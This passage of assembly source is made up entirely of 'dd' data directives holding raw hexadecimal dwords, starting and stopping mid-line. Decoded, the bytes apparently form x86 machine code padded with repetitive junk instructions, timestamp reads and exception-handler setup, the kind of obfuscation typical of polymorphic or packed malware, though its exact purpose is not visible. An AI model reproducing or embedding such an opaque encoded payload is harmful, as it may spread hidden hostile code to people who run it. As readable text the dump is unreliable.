24448104h, 1A04h dd 0C3514100h, 146ACD3Bh, 89E3DF2Dh, 70735B5h, 0D98C6606h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 2C35343h dd 807E70D9h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 72BFBC3h, 6E98D25h, 68000000h, 7E90ED85h dd 0EDBD09DAh, 0A060701h, 1F840FC9h, 6A000001h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 37D0C355h, 8E9FF5Fh, 5B000000h, 0DAEDEF2h, 8B374E55h dd 7062985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 75853354h, 6A06071Eh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0F99FC351h dd 894B727Fh, 0FF5ED68h, 8Bh, 0BF669000h, 8B509FDBh, 8B6690DAh dd 0C99531F9h, 6A06070Dh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 4F77914Fh dd 6FB759D5h, 0BF668066h, 4E87202h, 0FF000000h, 66001F03h dd 0BB50F98Bh, 3A4708A8h, 424448Bh, 0DE8008Bh, 0E8000000h dd 0E0F1BB55h, 5A12B933h, 0BA9C2CF9h, 0E1FFBB66h, 2444895Bh dd 6E804h, 0B5530000h, 0E771AC9h, 9D8B585Fh, 60711C1h dd 1D0195FFh, 9D290607h, 6071D1Dh, 0A6AD8589h, 0BD8B060Ah dd 6072DE5h, 213E9h, 858BFC00h, 60AA6A5h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Bh, 65C35545h, 80BCDE50h dd 8BC1E531h, 72BB9BDh, 1800C706h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0F846C356h, 9AAF878h, 0FB22369Fh, 0A6A9B58Bh, 6A060Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 8BF290C3h, 70C2185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 6D55822Fh, 0E80734AFh dd 0Fh, 8EAD088h, 6884A3D1h, 0E5F59F1Eh, 0F74334Dh, 389h dd 0D98B6600h, 6A06895Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0ACC1C355h, 8B8F3497h dd 7062985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 815B509Ah, 267F04F7h, 4468921h, 8BDF8B66h dd 71BC1BDh, 0E8609606h, 7, 29B6C709h, 60C82480h, 0CF8B5A61h dd 8B665061h, 6A96DEh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 9676C3C3h, 443FAADEh, 0A5B5FFBDh dd 89060AA6h, 7124DBDh, 4E806h, 3FF0000h, 0FE8001Fh, 0EE000000h dd 0CD346D98h, 50B7243Dh, 9AE082D0h, 52502887h, 310F6160h dd 585A6160h, 0AE9505Bh, 0DB000000h, 74E24B7Dh, 0A5B9AC83h dd 24448B31h, 66008B04h, 89AB4DBFh, 0F042444h, 481h, 0D4BF6600h dd 68B75864h, 8DFABF0Fh, 0AA6AD85h, 0C98D3106h, 90060702h dd 0BE9h, 8FBF3D00h, 946C69A2h, 0A747FE69h, 90A9B350h dd 6850Fh, 0BD290000h, 60711C1h, 1D0195FFh, 6A0607h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 65EF75C3h, 0C781F6CEh, 55E82Dh, 53006A61h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 3AF0735Ah dd 894A200Ch, 71AAD95h, 0FE906h, 1F800000h, 0B24BADD6h dd 0FCA89146h, 6C524B0Dh, 585C717h, 306072Dh, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0BD43C356h, 7B61FCDCh, 0B4BBD604h, 321C66Ch dd 72FB99Dh, 0ADBD8306h, 60AA6h, 32840Fh, 0BD8B0000h, 6070735h dd 1F7DBD33h, 3CE90607h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0BF34C350h dd 27CAF676h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 7105C355h, 88F0Fh, 850F0000h dd 2, 0BF0FFA8Bh, 5BD83DEh, 306072Dh, 4A5850Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0F37AE0C3h, 0AE9h, 0A66C3300h, 0DD60E45Eh, 60A0F657h dd 298D8Bh, 10E90607h, 47000000h, 113B49Ah, 466A47CBh dd 0DC096919h, 61C9D288h, 0A6ADBD83h, 0F00060Ah, 44E84h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 38F0F0Ah, 0F000000h, 9589DABFh, 60720BDh dd 0A6ADB5FFh, 6A060Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0A62C7BC3h, 4369039Eh, 3D95FF3Bh dd 89060704h, 7052985h, 0A1B58B06h, 6A060AA6h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 2F5BC356h, 1EBDE525h, 0DEBF0F5Ah, 106C7h, 6A0001h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 6DA65DC3h, 95291B82h, 6072661h, 89DD8A50h, 6A2434h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 103C8FC3h, 0E8FF5504h, 10h, 439CA329h, 0E2EDAF7Ch, 0B7B45EB6h dd 0DC31B9E0h, 0F251E381h, 0FF5F49C2h, 0AA6ADB5h, 0FE8B6606h dd 1A5595FFh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 36E314C3h, 10E141CEh, 0B58BC673h dd 60AA6A1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0C8C35747h, 1B1D9D0Bh, 0BD8B0607h, 607140Dh, 1389858Bh dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 195DC5C3h, 61B42056h, 89EDA0C3h, 7138DB5h dd 0C4868906h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 6EB2C353h, 4F0492A2h dd 8BDD8AFCh, 7067995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0BD896E12h, 6070CE9h dd 6604C283h, 3674CF81h, 0E5EB8166h, 205089F9h, 9E8h, 0EA3A5E00h dd 6063B42Ah, 895F04A2h, 7265585h, 1F858D06h, 6A060ABAh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0CAD6C350h, 896CE3AAh, 0B886h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 29795056h, 37E7AC31h, 1299BD31h, 6A0607h, 0B5FFDE8Bh dd 60AA6ADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0F8C35141h, 5EDBB0ABh, 31877E07h, 71BF18Dh, 0B5E3BB06h dd 95FF58DFh, 6071AF9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh dd 0CEC35343h, 0B6773258h, 0E521F919h, 8B669631h, 6A9650DEh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0F076C353h, 417EB947h, 0B5FF35B7h, 60AA6ADh dd 2995FFFCh, 0F8060715h, 12A5BD83h, 0F000607h, 6084h dd 3DBB6600h, 14E987h, 8D10000h, 0F400027Eh, 0BA858FB8h dd 24283B3Dh, 5C7405F0h, 5050655Bh, 11E95652h, 1D000000h dd 0C8752B11h, 0D2A8B7ECh, 94A1C429h, 14E11D4Ch, 8B310F5Fh dd 89585AF8h, 6A2434h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 8B123DC3h, 0ADB5FFFAh, 8B060AA6h dd 71B099Dh, 8BF6606h, 5595FFE8h, 31060705h, 70DC1BDh dd 0ADB5FF06h, 6A060AA6h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 295FC351h, 9E5CC9EFh dd 2594A8F9h, 1FF995FFh, 1600607h, 704E58Dh, 68F0F06h dd 3000000h, 712198Dh, 0BD836106h, 6071F1Dh, 72840F02h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0DCF0C352h, 6DD858Bh, 6A0607h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0C66E23C3h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0D10A65C3h, 9AD018CDh, 658501D7h dd 8B060720h, 725DDBDh, 9185C706h, 60726h, 53000000h, 0E95FFA8Ah dd 0FFFFF227h, 6AC18BFCh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 33ADC355h, 97D6F9D4h dd 8B1584AEh, 731C5BDh, 85858D06h, 6A060707h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 94E9C356h, 44DC25B4h, 90F156F8h, 4D9E06BFh, 0E8905043h dd 0Ch, 0AD161544h, 5E811A8Bh, 261D9BEDh, 6A006A5Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 8F72C353h, 0D03DA1BFh, 90A55E49h, 0C9B52960h, 0E806072Ah dd 0Eh, 8A624E46h, 0A174D887h, 0CC28F364h, 0FE9EEE3h, 0A3000000h dd 468D6EF7h, 5A64023Ah, 4527D09Bh, 615F5479h, 0C820Fh dd 8A0F0000h, 6, 31D9D0Bh, 6A0607h, 2E819D8Bh, 858D0607h dd 60B4D7Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0E8C35646h, 23DF6D85h, 0B30E3E04h, 6A05C083h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 60FEC355h, 0C4ABBCB7h, 830F504Bh, 2, 489FB8Bh, 95BD8B24h dd 6A060703h, 5DF38100h, 6A016296h, 0E957F900h, 6, 0EA6BC9C4h dd 0FF5F0491h, 704C195h, 38D0F06h, 66000000h, 73B7DE8Bh dd 0A64F8D8Dh, 0BD8B060Ah, 60731FDh, 6AD1FFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 0AD9A86C3h dd 32118D89h, 0BD830607h, 607218Dh, 72850F01h, 8B000000h dd 726F9BDh, 0E9026A06h, 9, 0CF593D60h, 60E8ADB5h, 48950F1h dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0D7115128h, 3DBD8B28h, 89060732h, 7153185h dd 0F995FF06h, 6A06071Ah, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0EE44C352h, 8B35BD32h dd 715D19Dh, 0C9FE906h, 0E80000h, 5D000000h, 4D89ED81h dd 6A060Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0BBD567C3h, 470E0FD7h, 359BB66h, 9108858Dh dd 9D23060Ah, 6070CF1h, 50525090h, 0F616052h, 0AE831h dd 0D0090000h, 8C6D2025h, 5D09780Fh, 0F585A5Fh, 98BB6631h dd 50585AB4h, 190D98Bh, 727A1B5h, 65958906h, 6406070Ch dd 35FFh, 810F0000h, 0 dd 64DFBF0Fh, 2589h, 10BB0000h, 0FF3D6722h, 732F185h, 0F9BF0F06h dd 5356FF6Ah, 8D0Fh, 5B5F0000h, 21C9B5FFh, 6A0607h, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 50C58AC3h, 81669A7Eh, 0F0EEFE3h, 95FFFFB7h, 6071AC9h dd 0D6E9h, 15958900h, 0B0060713h, 0E3816600h, 70E65C28h dd 2749BD8Bh, 71E40607h, 830F613Ch, 0B7h, 0D0BF0F60h, 4318D8Bh dd 0F610607h, 92B3C8B6h, 2FCFBF66h, 6BAh, 0DF8B6600h, 9589C18Bh dd 60726F5h, 0F04E8C1h, 386h, 90EF8000h, 2BE2F766h, 0F08B60C8h dd 666061F9h, 8B3DDDBBh, 725E985h, 0D18B6106h, 6DD7BF66h dd 2E9h, 8BFB8B00h, 7263D85h, 319D8B06h, 83060715h, 8D8907C0h dd 6073179h, 8900C083h, 71B118Dh, 0FD03B06h, 0B83h, 0A5BD8B00h dd 0E906072Eh, 33h, 10B98D8Bh, 0E1830607h, 24840F01h, 66000000h dd 0A583DF8Bh, 60710B9h, 0FDF7BFFEh, 95893198h, 607263Dh dd 48A0Fh, 0BF660000h, 0E995FFh, 8D000000h, 0AC584B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0D303E876h, 0CA5410ECh, 3890Fh, 0BF0F0000h dd 6850FFBh, 3000000h, 732A1BDh, 6A006A06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 85CAC355h dd 0D56DCBB7h, 6C1BD89h, 81660607h, 0FFB334E3h, 716B595h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 31529C31h, 713F195h, 1B95B06h, 3100000Eh dd 714E195h, 0FCE18306h, 9E9h, 0E3D48D00h, 4CB1F676h, 0BD092288h dd 60715C9h, 3D9D33FCh, 0B8060725h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 86C35545h dd 0A5F8092Dh, 0ED97BFCAh, 0D22B7357h, 260D8D89h, 33AD0607h dd 3E8D1C2h, 4E983D0h, 6AF475h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 6A68C3h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 5CE3DAC3h dd 98814C78h, 890B0EC6h, 705059Dh, 880D06h, 9D2B0000h dd 6072A9Dh, 679958Bh, 0BF0F0607h, 0E58D8BF9h, 8B06072Ch dd 72265BDh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 7952C350h, 5985893Bh, 83060721h dd 710E5BDh, 840F0006h, 88h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0B6C35040h, 0B8D2D1A9h, 0 dd 1890Fh, 0FF80000h, 8D8DD9B7h, 6074E1Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0CC35040h, 0F7DBE790h dd 0C3AB99B6h, 2B819D8Bh, 0E1FF0607h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 82C35242h, 0A5B0F550h, 9D8938F2h dd 6072139h, 2D05BD83h, 0F000607h, 46584h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 815C9ADFh, 69950E08h, 835FB31Dh, 72D05BDh, 840F0106h dd 44Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 68C35646h, 0FF99C81h, 582h, 8E8BF00h, 0BD83341Ah dd 6072D05h, 0E0860F03h, 8B000003h, 6A60FEh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0D5D921C3h dd 1416E03h, 663A93E9h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0D2368FC3h, 604FA557h dd 0CA237B8h, 6890F39h, 9000000h, 72065BDh, 0E1806106h dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0BF600C99h, 43652541h, 0B6D9589h, 0A610607h dd 71840FC9h, 66000001h, 2038DF81h, 629858Bh, 0BD8B0607h dd 6071025h, 1E758533h, 6A0607h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0C93C36C3h, 0AD9032D3h dd 0F529055h, 681h, 8C0F00h, 5F000000h, 60565250h, 905F5F61h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 5AC35646h dd 29B589ACh, 6A060732h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 2E173DBEh, 0EAE0B2D5h dd 0DF816638h, 13689DAEh, 8124B1CCh, 0CFEC2434h, 6A24AEh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0B1A956C3h, 5E67F41Dh, 2721D381h, 95FF0BAAh, 6071D01h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 83C35040h dd 0FBE029D6h, 0F781067Bh, 57F2D744h, 0A6AD8589h, 6A060Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 608FEDC3h, 0FDAF4CDEh, 8B662809h, 1BCE9DFh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0E3F2FEC3h, 185F7AB4h, 0FE8A312h, 0E5000000h, 4253D8FCh dd 0FEE3DC2Ah, 9DBC3119h, 41BBB762h, 5B7C3849h, 0A6A5858Bh dd 8960060Ah, 7077D95h, 83F78106h, 61002843h, 1800C7h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 4A4F66C3h, 0FA0C142Bh, 0B58B9736h, 60AA6A9h dd 0C88B6660h, 1CD9D8Bh, 8B610607h, 70C2185h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0D694039Bh, 0BC99D0Bh, 6890607h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 86C35545h, 6C1E77AAh, 0BF664EE3h dd 858B502Eh, 6070629h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0E8C35141h, 0AE9EEh, 0E3390000h, 0E1862D45h dd 93A978AFh, 8961F960h, 9D330446h, 6070AE9h, 50D88B96h dd 0F08B6660h, 6A9661h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 8DA9FAC3h, 985FFAC7h, 0F5DA3444h dd 0A6A5B5FFh, 0AD68060Ah, 66622F3Dh, 3481DE8Bh, 303E5224h dd 3870F62h, 66000000h, 9D03DA8Bh, 6070285h, 0A6AD858Dh dd 8B66060Ah, 0BB5350D8h, 660BBAF0h, 2404895Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 92C35242h, 95293170h dd 607130Dh, 2C858529h, 95FF0607h, 6071D01h, 2569BD8Bh dd 0F610607h, 68Fh, 0F5958900h, 0C706071Ah, 72D0585h, 306h dd 6880F00h, 8B000000h, 708919Dh, 0ADBD8306h, 60AA6h, 2D840Fh dd 4EB30000h, 41E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0E459D06Dh, 0D5B589A5h dd 50060701h, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 8B66C08Bh, 83DE8BD9h, 72D05BDh, 850F0306h dd 3CFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 1BC35545h, 0CF8B6089h, 61F78B66h, 0A6ADBD83h, 0F00060Ah dd 39E84h, 0A5B50100h, 0FF06070Ch, 0AA6ADB5h, 58B0F06h dd 0BF000000h, 0A5727D9h, 43D95FFh, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0BFB25AC3h dd 199D89AAh, 8B060712h, 0AA6A1B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 89DF8B6Ah dd 72B89B5h, 106C706h, 6A000100h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 5C89C352h dd 4087425Eh, 0AB01F36Bh, 0F525096h, 50585A31h, 5E8h, 0DF657600h dd 965B59ABh, 6860Fh, 0CB810000h, 5557BC93h, 0A6ADB5FFh dd 95FF060Ah, 6071A55h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 1FC35747h, 0FACF8173h, 0F8726A15h, 0A6A1B58Bh dd 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0A4D530C3h, 0E87E2E3Eh, 398D895Bh, 8B060727h dd 7138985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 58D0E6F1h, 0C8B7DB14h, 14CB8166h dd 0C48689DEh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 5546C355h, 8B127AC9h dd 722159Dh, 79958B06h, 8B060706h, 0C9BD89FBh, 83060715h dd 8E904C2h, 9D000000h, 479CC7FFh, 0F1FFFA5h, 487h, 61605700h dd 2050895Fh, 0CCB8166h, 6DBD8B31h, 8D060703h, 0ABA1F85h dd 9DBD8906h, 8906070Eh, 0B886h, 0D9DF8100h, 6A665880h dd 5810F00h, 0BF000000h, 2B6DAF25h, 0A6ADB5FFh, 6A060Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 8DAD98C3h, 7BDAD783h, 9D8B2387h, 6071689h, 1AF995FFh dd 0C7810607h, 1AB12B0h, 20218D09h, 89500607h, 64BF2434h dd 666D097Ch, 0FF0D01BFh, 0AA6ADB5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BF667C27h dd 95FFB036h, 6071529h, 140D9589h, 0C3810607h, 782C0F58h dd 12A5BD83h, 0F000607h, 4084h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0FA68F83h dd 2830Fh, 0DE8B0000h, 50DC8A96h, 96F98B66h, 0B800Fh, 89600000h dd 714C195h, 0C68B6606h, 0ADB5FF61h, 66060AA6h, 7143E381h dd 55595FFh dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 8B661EC3h, 0ADB5FFFAh, 0F060AA6h, 383h, 0DF8B6600h dd 1FF995FFh, 9D330607h, 6073299h, 9799D23h, 0BD830607h dd 6071F1Dh, 6B840F02h, 8B000000h, 70B85BDh, 0DD858B06h dd 6A060706h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 6411C355h, 7DEF8123h, 0C6046AE4h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 93F545C3h, 86B97F86h, 0E9CB2EB5h, 0Eh, 60963ABh dd 0ABD3957h, 16D1A519h, 85C79941h, 6072691h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0E6C35141h dd 8B102624h, 71F459Dh, 0BAF78106h, 0E953A18Dh, 0FFFFF424h dd 0FE8B6652h, 68C0F5Fh, 8B000000h, 71419BDh, 0E8C18B06h dd 0Eh, 7FAFBE46h, 0C69E7368h, 0D31BF1A4h, 0B5098144h dd 60732DDh, 85858D5Fh, 8B060707h, 0EE990FAh, 54000000h dd 3B6D29EDh, 894AA578h, 610A9549h, 0FA8B5039h, 859D8B90h dd 6A060730h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 4E69447Bh, 0FB8B67C3h, 0FA8B006Ah dd 5B73858Dh, 0FA8B060Bh, 6A05C083h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0A125C352h dd 26A9252Bh, 1CA59D23h, 89500607h, 0BD032404h, 6071FE5h dd 0DE9006Ah, 75000000h, 155EB967h, 8EF50E28h, 4891666Eh dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 1881CCC3h, 11D0D594h, 8D0F1540h, 2, 95FFDC8Ah dd 60704C1h, 6850Fh, 0BD8B0000h, 6073149h, 0A64F8D8Dh dd 8B66060Ah, 6AD1FFD8h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 5185C356h, 152109C4h dd 8DBD83E1h, 1060721h, 37850Fh, 0BB660000h, 26AFCB4h dd 24048950h, 0AFD8589h, 95FF0607h, 6071AF9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 9CC35141h, 0CBCAD171h dd 0CF6E916h, 0E80000h, 5D000000h, 5B7DED81h, 0DE9060Bh dd 47000000h, 0A0C26B21h, 73A1DDB2h, 9CE67581h, 9108858Dh dd 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 6C6AB5C3h, 9D8B898Fh, 60731A5h, 0BB665090h dd 6690EF15h, 645C2EBFh, 35FFh, 0BD890000h, 6072759h, 258964h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0A07BC351h, 0B8BBD635h, 32F185FFh dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0B54F57C3h, 2BF7B62Dh, 14B19589h, 85890607h dd 607288Dh, 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 6E3B0BC3h, 0E9219C49h, 14h, 9614E582h dd 0A628FD5Ch, 0C1BD6682h, 0AB43D987h, 0E947A0DDh, 19810F56h dd 0E8000000h, 13h, 645A7F51h, 0EDE3E1F2h, 7854EECEh, 0C87B7594h dd 5FC95CA2h, 0FFF98B5Bh, 70659B5h, 0A1C38106h, 0FF4C6464h dd 71AC995h, 12CE906h, 9D890000h, 607027Dh, 70E600B0h dd 0BF6671E4h, 613CFF97h, 114830Fh, 12E90000h, 0C9000000h dd 0D16C54F2h, 0A967A53Fh, 59774B10h, 0B9CDF8E1h, 0C8B60F24h dd 0AE9h, 4CB34F00h, 3FD4F9F2h, 0BA93A8CEh, 6, 2870F60h dd 60000000h, 0C18B6161h, 1A6D9D8Bh, 880F0607h, 6, 2B5DBD8Bh dd 0E8C10607h, 45B53104h, 66060701h, 8D89E2F7h, 60712E9h dd 11E9C82Bh, 0B1000000h, 587B650Ah, 24734ED9h, 0CCB2C91Dh dd 910F1B0Dh, 0B70FD18Bh, 4E9FBh, 0BF660000h, 858BB0E4h dd 607172Dh, 0DF18D29h, 0C0830607h, 6840F07h, 57000000h dd 564ABB66h, 0C0835Fh, 6800Fh, 0BD8B0000h, 6072FFDh, 830FD03Bh dd 22h, 12E8h, 35C7DE00h, 4E80B363h, 1738DEF4h, 4E708943h dd 5BBF6664h, 41E9h, 0F88B6600h, 8D8B1EB3h, 6070DC5h, 0F01E183h dd 2D84h, 0DCEF8100h, 8B148DE2h, 7007DBDh, 0C5A58306h dd 0FE06070Dh, 306D8D89h, 95890607h, 607172Dh, 8BFA8B66h dd 70881BDh, 0E906h, 0B58D0000h, 60AD609h, 96D9D0Bh, 6A0607h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0EC35343h dd 0CEF54E83h, 51BFD4C6h, 0FF20FBC3h, 716B595h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0EF7C3DEh, 4AB9702Ah, 60000008h, 0D28194B5h, 7EBB25ABh dd 0FCE18361h, 0FCD88B66h, 25459D8Bh, 0B80607h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 69C352h, 0C5958915h, 8B06071Eh, 71425BDh dd 6AD22B06h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 3108C355h, 712ED9Dh, 0C233AD06h dd 0D003E8D1h, 7504E983h, 53006AF4h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0D0BF662Fh dd 0F9BF0F2Ch, 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0BBC41B24h, 26E99D8Bh dd 958B0607h, 6070679h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 2AC35040h, 8BAC9E59h, 70A9D9Dh, 0E58D8B06h dd 6606072Ch, 8B50DE8Bh, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 12A1BD03h, 6A0607h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 1FCB39C3h, 0FEB70F4Bh dd 10E5BD83h, 0F000607h, 0A184h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 9596EF10h 